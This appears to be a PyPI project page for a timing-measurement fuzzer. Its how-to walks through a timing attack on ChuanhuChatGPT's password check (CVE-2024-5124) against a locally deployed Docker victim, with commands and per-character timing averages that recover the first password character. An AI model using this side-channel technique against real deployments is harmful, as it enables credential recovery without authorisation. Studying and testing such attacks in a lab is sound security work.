modular time fuzzer
Project description
I Tutorials:
I.1/ Build modular-timing-fuzzer
Install dependencies
virtualenv -p python3 venv3 ;
source venv3/bin/activate &&
pip install argparse requests matplotlib scipy pandas
Then run:
python3 -m pip install build &&
python3 -m build &&
python3 -m pip install -e . &&
python3 -m pip install dist/modular_time_fuzzer_GOGO-0.0.1-py3-none-any.whl --force-reinstall
I.2/ Install From Pypi
Run simply:
pip install modular-time-fuzzer
I.3/ Usage
measure
command line permits to choose inputs that will be recorded to the database.
analyze
command line permits to represent the data collected to a picture graph.
measure -r 10 -c a -c b -c c -c d -c e -c f -c g -c h -c i -c j -c k -c l -c m -c n -c o -c p -c q -c r -c s -c t -c u -c v -c w -c x -c y -c z "out.sqlite"
analyze -c a -c b -c c -c d -c e -c f -c g -c h -c i -c j -c k -c l -c m -c n -c o -c p -c q -c r -c s -c t -c u -c v -c w -c x -c y -c z "out.sqlite"
At any moment, you could run sql query on the database in order to determine for example wich request is noised: sqlite3 "out.sqlite"
.
then, you could see how much requests you considere as not noised for a single input character with:
SELECT COUNT(TIME_TAKEN / 1000000.0) FROM REQUEST WHERE REQUEST.INPUT = 'a' AND (REQUEST.TIME_TAKEN / 1000000.0) < 410 ;
and read any with:
SELECT TIME_TAKEN / 1000000.0 FROM REQUEST WHERE REQUEST.INPUT = 'a' AND (REQUEST.TIME_TAKEN / 1000000.0) < 410 ;
and finally, you can have the means / median with:
SELECT AVG(TIME_TAKEN / 1000000.0) FROM REQUEST WHERE REQUEST.INPUT = 'a' AND (REQUEST.TIME_TAKEN / 1000000.0) < 410 ;
sqlite> SELECT COUNT(TIME_TAKEN / 1000000.0) FROM REQUEST WHERE REQUEST.INPUT = 'a' AND (REQUEST.TIME_TAKEN / 1000000.0) < 410 ;
90
sqlite> SELECT TIME_TAKEN / 1000000.0 FROM REQUEST WHERE REQUEST.INPUT = 'a' AND (REQUEST.TIME_TAKEN / 1000000.0) < 410 ;
404.645166
408.052166
409.414739
409.688138
398.191623
408.52954
408.556281
399.634207
400.947555
403.563834
404.68618
397.617568
399.634716
...
sqlite> SELECT AVG(TIME_TAKEN / 1000000.0) FROM REQUEST WHERE REQUEST.INPUT = 'a' AND (REQUEST.TIME_TAKEN / 1000000.0) < 410 ;
403.772096966667
sqlite> SELECT AVG(TIME_TAKEN / 1000000.0) FROM REQUEST WHERE REQUEST.INPUT = 'a' AND (REQUEST.TIME_TAKEN / 1000000.0) < 410 ;
403.772096966667
sqlite> SELECT AVG(TIME_TAKEN / 1000000.0) FROM REQUEST WHERE REQUEST.INPUT = 'b' AND (REQUEST.TIME_TAKEN / 1000000.0) < 410 ;
403.931148813954
sqlite> SELECT AVG(TIME_TAKEN / 1000000.0) FROM REQUEST WHERE REQUEST.INPUT = 'c' AND (REQUEST.TIME_TAKEN / 1000000.0) < 410 ;
403.089933771739
sqlite> SELECT AVG(TIME_TAKEN / 1000000.0) FROM REQUEST WHERE REQUEST.INPUT = 'd' AND (REQUEST.TIME_TAKEN / 1000000.0) < 410 ;
403.492285518519
sqlite> SELECT AVG(TIME_TAKEN / 1000000.0) FROM REQUEST WHERE REQUEST.INPUT = 'e' AND (REQUEST.TIME_TAKEN / 1000000.0) < 410 ;
403.033290575
sqlite> SELECT AVG(TIME_TAKEN / 1000000.0) FROM REQUEST WHERE REQUEST.INPUT = 'f' AND (REQUEST.TIME_TAKEN / 1000000.0) < 410 ;
403.71726626506
sqlite> SELECT AVG(TIME_TAKEN / 1000000.0) FROM REQUEST WHERE REQUEST.INPUT = 'g' AND (REQUEST.TIME_TAKEN / 1000000.0) < 410 ;
403.437231684783
sqlite> SELECT AVG(TIME_TAKEN / 1000000.0) FROM REQUEST WHERE REQUEST.INPUT = 'h' AND (REQUEST.TIME_TAKEN / 1000000.0) < 410 ;
403.725036652174
sqlite> SELECT AVG(TIME_TAKEN / 1000000.0) FROM REQUEST WHERE REQUEST.INPUT = 'i' AND (REQUEST.TIME_TAKEN / 1000000.0) < 410 ;
404.370431755556
sqlite> SELECT AVG(TIME_TAKEN / 1000000.0) FROM REQUEST WHERE REQUEST.INPUT = 'j' AND (REQUEST.TIME_TAKEN / 1000000.0) < 410 ;
403.756156428571
sqlite> SELECT AVG(TIME_TAKEN / 1000000.0) FROM REQUEST WHERE REQUEST.INPUT = 'k' AND (REQUEST.TIME_TAKEN / 1000000.0) < 410 ;
403.999579357895
sqlite> SELECT AVG(TIME_TAKEN / 1000000.0) FROM REQUEST WHERE REQUEST.INPUT = 'l' AND (REQUEST.TIME_TAKEN / 1000000.0) < 410 ;
404.017877922222
sqlite> SELECT AVG(TIME_TAKEN / 1000000.0) FROM REQUEST WHERE REQUEST.INPUT = 'm' AND (REQUEST.TIME_TAKEN / 1000000.0) < 410 ;
403.549548329897
sqlite> SELECT AVG(TIME_TAKEN / 1000000.0) FROM REQUEST WHERE REQUEST.INPUT = 'n' AND (REQUEST.TIME_TAKEN / 1000000.0) < 410 ;
402.352477635294
sqlite> SELECT AVG(TIME_TAKEN / 1000000.0) FROM REQUEST WHERE REQUEST.INPUT = 'o' AND (REQUEST.TIME_TAKEN / 1000000.0) < 410 ;
404.535095189873
sqlite> SELECT AVG(TIME_TAKEN / 1000000.0) FROM REQUEST WHERE REQUEST.INPUT = 'p' AND (REQUEST.TIME_TAKEN / 1000000.0) < 410 ;
403.752988655556
sqlite> SELECT AVG(TIME_TAKEN / 1000000.0) FROM REQUEST WHERE REQUEST.INPUT = 'q' AND (REQUEST.TIME_TAKEN / 1000000.0) < 410 ;
403.976769318681
sqlite> SELECT AVG(TIME_TAKEN / 1000000.0) FROM REQUEST WHERE REQUEST.INPUT = 'r' AND (REQUEST.TIME_TAKEN / 1000000.0) < 410 ;
403.206678616279
sqlite> SELECT AVG(TIME_TAKEN / 1000000.0) FROM REQUEST WHERE REQUEST.INPUT = 'r' AND (REQUEST.TIME_TAKEN / 1000000.0) < 410 ;
403.206678616279
sqlite> SELECT AVG(TIME_TAKEN / 1000000.0) FROM REQUEST WHERE REQUEST.INPUT = 's' AND (REQUEST.TIME_TAKEN / 1000000.0) < 410 ;
404.222930974683
sqlite> SELECT AVG(TIME_TAKEN / 1000000.0) FROM REQUEST WHERE REQUEST.INPUT = 't' AND (REQUEST.TIME_TAKEN / 1000000.0) < 410 ;
403.738821797753
sqlite> SELECT AVG(TIME_TAKEN / 1000000.0) FROM REQUEST WHERE REQUEST.INPUT = 'u' AND (REQUEST.TIME_TAKEN / 1000000.0) < 410 ;
403.868063326316
sqlite> SELECT AVG(TIME_TAKEN / 1000000.0) FROM REQUEST WHERE REQUEST.INPUT = 'v' AND (REQUEST.TIME_TAKEN / 1000000.0) < 410 ;
403.026525931507
sqlite> SELECT AVG(TIME_TAKEN / 1000000.0) FROM REQUEST WHERE REQUEST.INPUT = 'w' AND (REQUEST.TIME_TAKEN / 1000000.0) < 410 ;
403.05889452439
sqlite> SELECT AVG(TIME_TAKEN / 1000000.0) FROM REQUEST WHERE REQUEST.INPUT = 'x' AND (REQUEST.TIME_TAKEN / 1000000.0) < 410 ;
403.3773351
sqlite> SELECT AVG(TIME_TAKEN / 1000000.0) FROM REQUEST WHERE REQUEST.INPUT = 'y' AND (REQUEST.TIME_TAKEN / 1000000.0) < 410 ;
403.161335746835
sqlite> SELECT AVG(TIME_TAKEN / 1000000.0) FROM REQUEST WHERE REQUEST.INPUT = 'z' AND (REQUEST.TIME_TAKEN / 1000000.0) < 410 ;
402.963481670886
sqlite>
II How-to:
II.1/ developping timing attack against the password verification of Chuanchuangpt (CVE-2024-5124) using a cloud service in background
II.1.1/ Deploy victim server:
Install docker
# Install packages required for the installation
sudo apt-get update
sudo apt install --yes ca-certificates curl
sudo install -m 0755 -d /etc/apt/keyrings
sudo curl -fsSL https://download.docker.com/linux/debian/gpg -o /etc/apt/keyrings/docker.asc
sudo chmod a+r /etc/apt/keyrings/docker.asc
# Add the repository to Apt sources:
echo \
"deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.asc] https://download.docker.com/linux/debian \
$(. /etc/os-release && echo "$VERSION_CODENAME") stable" | \
sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
sudo apt-get update
# Download GPG key and store repository in the system
curl -fsSL https://download.docker.com/linux/debian/gpg | gpg --dearmor -o /usr/share/keyrings/docker.gpg
echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/docker.gpg] https://download.docker.com/linux/debian bookworm stable" |tee /etc/apt/sources.list.d/docker.list > /dev/null
apt update
# Install Docker packages
sudo apt install --yes docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin
Run victim server
export JSON='{
"users": [["openai", "isCloseAi"]]
}' ;
export DOCKER_CMD="apt update && apt install --yes git && pip install itsdangerous gradio && echo '${JSON}' > config.json && sed -i 's/share=share/share=True/g' ChuanhuChatbot.py && python3 -u ChuanhuChatbot.py 2>&1 | tee /var/log/application.log"
export DOCKER_RUN='sudo docker run -e language=en_US -it tuchuanhuhuhu/chuanhuchatgpt:20240310 /bin/bash -c "${DOCKER_CMD}"'
tmux new-session -d -s persistent_server "${DOCKER_RUN}"
tmux attach -t persistent_server
II.1.2/ Attack the victim server
If you want to run these two scripts
measure -r 1000 -c a -c b -c c -c d -c e -c f -c g -c h -c i -c j -c k -c l -c m -c n -c o -c p -c q -c r -c s -c t -c u -c v -c w -c x -c y -c z "out.sqlite"
analyze -c a -c b -c c -c d -c e -c f -c g -c h -c i -c j -c k -c l -c m -c n -c o -c p -c q -c r -c s -c t -c u -c v -c w -c x -c y -c z "out.sqlite"
On a cloud backend to ensure it will never exit, install previously mentionned dependencies and run:
tmux new-session -d -s persistent_session "source ./venv3/bin/activate && rm -Rf mkdir tmpdir/ && mkdir tmpdir/ ; measure -r 1000 -c a -c b -c c -c d -c e -c f -c g -c h -c i -c j -c k -c l -c m -c n -c o -c p -c q -c r -c s -c t -c u -c v -c w -c x -c y -c z 'out.sqlite' && analyze -c a -c b -c c -c d -c e -c f -c g -c h -c i -c j -c k -c l -c m -c n -c o -c p -c q -c r -c s -c t -c u -c v -c w -c x -c y -c z 'out.sqlite'"
tmux attach -t persistent_session
II.2/ sort requests time to remove noise
Collect request time with:
measure -r 250 -c a -c b -c c -c d -c e -c f -c g -c h -c i -c j -c k -c l -c m -c n -c o -c p -c q -c r -c s -c t -c u -c v -c w -c x -c y -c z "out.sqlite"
and remove useless requests time with an sql SELECT
as:
sqlite> SELECT AVG (TIME_TAKEN / 1000000.0) FROM (SELECT TIME_TAKEN FROM REQUEST WHERE REQUEST.INPUT = 'a' AND (REQUEST.TIME_TAKEN / 1000000.0) < 410 LIMIT 50) ;
403.29338264
sqlite> SELECT AVG (TIME_TAKEN / 1000000.0) FROM (SELECT TIME_TAKEN FROM REQUEST WHERE REQUEST.INPUT = 'b' AND (REQUEST.TIME_TAKEN / 1000000.0) < 410 LIMIT 50) ;
403.84131522
sqlite> SELECT AVG (TIME_TAKEN / 1000000.0) FROM (SELECT TIME_TAKEN FROM REQUEST WHERE REQUEST.INPUT = 'c' AND (REQUEST.TIME_TAKEN / 1000000.0) < 410 LIMIT 50) ;
402.43731188
sqlite> SELECT AVG (TIME_TAKEN / 1000000.0) FROM (SELECT TIME_TAKEN FROM REQUEST WHERE REQUEST.INPUT = 'd' AND (REQUEST.TIME_TAKEN / 1000000.0) < 410 LIMIT 50) ;
403.42710264
sqlite> SELECT AVG (TIME_TAKEN / 1000000.0) FROM (SELECT TIME_TAKEN FROM REQUEST WHERE REQUEST.INPUT = 'e' AND (REQUEST.TIME_TAKEN / 1000000.0) < 410 LIMIT 50) ;
402.48978454
sqlite> SELECT AVG (TIME_TAKEN / 1000000.0) FROM (SELECT TIME_TAKEN FROM REQUEST WHERE REQUEST.INPUT = 'f' AND (REQUEST.TIME_TAKEN / 1000000.0) < 410 LIMIT 50) ;
403.42193462
sqlite> SELECT AVG (TIME_TAKEN / 1000000.0) FROM (SELECT TIME_TAKEN FROM REQUEST WHERE REQUEST.INPUT = 'g' AND (REQUEST.TIME_TAKEN / 1000000.0) < 410 LIMIT 50) ;
403.36167422
sqlite> SELECT AVG (TIME_TAKEN / 1000000.0) FROM (SELECT TIME_TAKEN FROM REQUEST WHERE REQUEST.INPUT = 'h' AND (REQUEST.TIME_TAKEN / 1000000.0) < 410 LIMIT 50) ;
403.53887338
sqlite> SELECT AVG (TIME_TAKEN / 1000000.0) FROM (SELECT TIME_TAKEN FROM REQUEST WHERE REQUEST.INPUT = 'i' AND (REQUEST.TIME_TAKEN / 1000000.0) < 410 LIMIT 50) ;
404.3959109
sqlite> SELECT AVG (TIME_TAKEN / 1000000.0) FROM (SELECT TIME_TAKEN FROM REQUEST WHERE REQUEST.INPUT = 'j' AND (REQUEST.TIME_TAKEN / 1000000.0) < 410 LIMIT 50) ;
402.95281052
sqlite> SELECT AVG (TIME_TAKEN / 1000000.0) FROM (SELECT TIME_TAKEN FROM REQUEST WHERE REQUEST.INPUT = 'k' AND (REQUEST.TIME_TAKEN / 1000000.0) < 410 LIMIT 50) ;
404.19743928
sqlite> SELECT AVG (TIME_TAKEN / 1000000.0) FROM (SELECT TIME_TAKEN FROM REQUEST WHERE REQUEST.INPUT = 'l' AND (REQUEST.TIME_TAKEN / 1000000.0) < 410 LIMIT 50) ;
403.54544896
sqlite> SELECT AVG (TIME_TAKEN / 1000000.0) FROM (SELECT TIME_TAKEN FROM REQUEST WHERE REQUEST.INPUT = 'm' AND (REQUEST.TIME_TAKEN / 1000000.0) < 410 LIMIT 50) ;
404.22916374
sqlite> SELECT AVG (TIME_TAKEN / 1000000.0) FROM (SELECT TIME_TAKEN FROM REQUEST WHERE REQUEST.INPUT = 'n' AND (REQUEST.TIME_TAKEN / 1000000.0) < 410 LIMIT 50) ;
402.51589022
sqlite> SELECT AVG (TIME_TAKEN / 1000000.0) FROM (SELECT TIME_TAKEN FROM REQUEST WHERE REQUEST.INPUT = 'o' AND (REQUEST.TIME_TAKEN / 1000000.0) < 410 LIMIT 50) ;
404.22868972
sqlite> SELECT AVG (TIME_TAKEN / 1000000.0) FROM (SELECT TIME_TAKEN FROM REQUEST WHERE REQUEST.INPUT = 'p' AND (REQUEST.TIME_TAKEN / 1000000.0) < 410 LIMIT 50) ;
402.92633284
sqlite> SELECT AVG (TIME_TAKEN / 1000000.0) FROM (SELECT TIME_TAKEN FROM REQUEST WHERE REQUEST.INPUT = 'q' AND (REQUEST.TIME_TAKEN / 1000000.0) < 410 LIMIT 50) ;
403.9932122
sqlite> SELECT AVG (TIME_TAKEN / 1000000.0) FROM (SELECT TIME_TAKEN FROM REQUEST WHERE REQUEST.INPUT = 'r' AND (REQUEST.TIME_TAKEN / 1000000.0) < 410 LIMIT 50) ;
402.32433204
sqlite> SELECT AVG (TIME_TAKEN / 1000000.0) FROM (SELECT TIME_TAKEN FROM REQUEST WHERE REQUEST.INPUT = 's' AND (REQUEST.TIME_TAKEN / 1000000.0) < 410 LIMIT 50) ;
404.15611828
sqlite> SELECT AVG (TIME_TAKEN / 1000000.0) FROM (SELECT TIME_TAKEN FROM REQUEST WHERE REQUEST.INPUT = 't' AND (REQUEST.TIME_TAKEN / 1000000.0) < 410 LIMIT 50) ;
403.67483828
sqlite> SELECT AVG (TIME_TAKEN / 1000000.0) FROM (SELECT TIME_TAKEN FROM REQUEST WHERE REQUEST.INPUT = 'u' AND (REQUEST.TIME_TAKEN / 1000000.0) < 410 LIMIT 50) ;
404.1932835
sqlite> SELECT AVG (TIME_TAKEN / 1000000.0) FROM (SELECT TIME_TAKEN FROM REQUEST WHERE REQUEST.INPUT = 'v' AND (REQUEST.TIME_TAKEN / 1000000.0) < 410 LIMIT 50) ;
402.6236638
sqlite> SELECT AVG (TIME_TAKEN / 1000000.0) FROM (SELECT TIME_TAKEN FROM REQUEST WHERE REQUEST.INPUT = 'w' AND (REQUEST.TIME_TAKEN / 1000000.0) < 410 LIMIT 50) ;
402.60065776
sqlite> SELECT AVG (TIME_TAKEN / 1000000.0) FROM (SELECT TIME_TAKEN FROM REQUEST WHERE REQUEST.INPUT = 'x' AND (REQUEST.TIME_TAKEN / 1000000.0) < 410 LIMIT 50) ;
403.24132508
sqlite> SELECT AVG (TIME_TAKEN / 1000000.0) FROM (SELECT TIME_TAKEN FROM REQUEST WHERE REQUEST.INPUT = 'y' AND (REQUEST.TIME_TAKEN / 1000000.0) < 410 LIMIT 50) ;
403.43390054
sqlite> SELECT AVG (TIME_TAKEN / 1000000.0) FROM (SELECT TIME_TAKEN FROM REQUEST WHERE REQUEST.INPUT = 'z' AND (REQUEST.TIME_TAKEN / 1000000.0) < 410 LIMIT 50) ;
403.4237106
sqlite
The greatest average request set took 404.4 ms that corresponds exactly to the i
and it is exactly the right good first character! We just found the first character!
III/ API reference for developpers
IV/ Why using a modular timing attack fuzzer?
Trough there are a lot of similar tool for recording request time such as tlsfuzzer
or timeinator
, none of them provide enough flexibility to let the user record it own timing with modularity.
modular-timing-fuzzer
then has chosen to let the user to script the recording interface in a modular way and then use the output recorded to interpret in in a less but still modular way.
IV.1 / attacks against passwords authentication with unsecure crypto comparison.
IV.2 / attacks against assymetric encryption algorithms.
Project details
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
Built Distribution
File details
Details for the file modular_time_fuzzer-0.0.6.tar.gz
.
File metadata
- Download URL: modular_time_fuzzer-0.0.6.tar.gz
- Upload date:
- Size: 7.4 kB
- Tags: Source
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/5.1.1 CPython/3.10.12
File hashes
Algorithm | Hash digest | |
---|---|---|
SHA256 | eb3a55b882195dba8fc7d007f54d3020db16965a8d59263f10d886ed66abc0ca |
|
MD5 | 11277f113023e991dbf7e1ac45efdb24 |
|
BLAKE2b-256 | 101b08969ff5215e7245428d748fdf8e4d5518377291d4a1d7d0daa3e95372ad |
File details
Details for the file modular_time_fuzzer-0.0.6-py3-none-any.whl
.
File metadata
- Download URL: modular_time_fuzzer-0.0.6-py3-none-any.whl
- Upload date:
- Size: 8.4 kB
- Tags: Python 3
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/5.1.1 CPython/3.10.12
File hashes
Algorithm | Hash digest | |
---|---|---|
SHA256 | 6ea5509d5d2a88f0b23f84ea1e82cac1add9b41027dabfe18fc92baa6c20572d |
|
MD5 | 651eb13ff0a2d4049d82c895dad6714d |
|
BLAKE2b-256 | e400e5baacb919f24fc58c80ca211fa08665502117a27fb524b77306bee8df6e |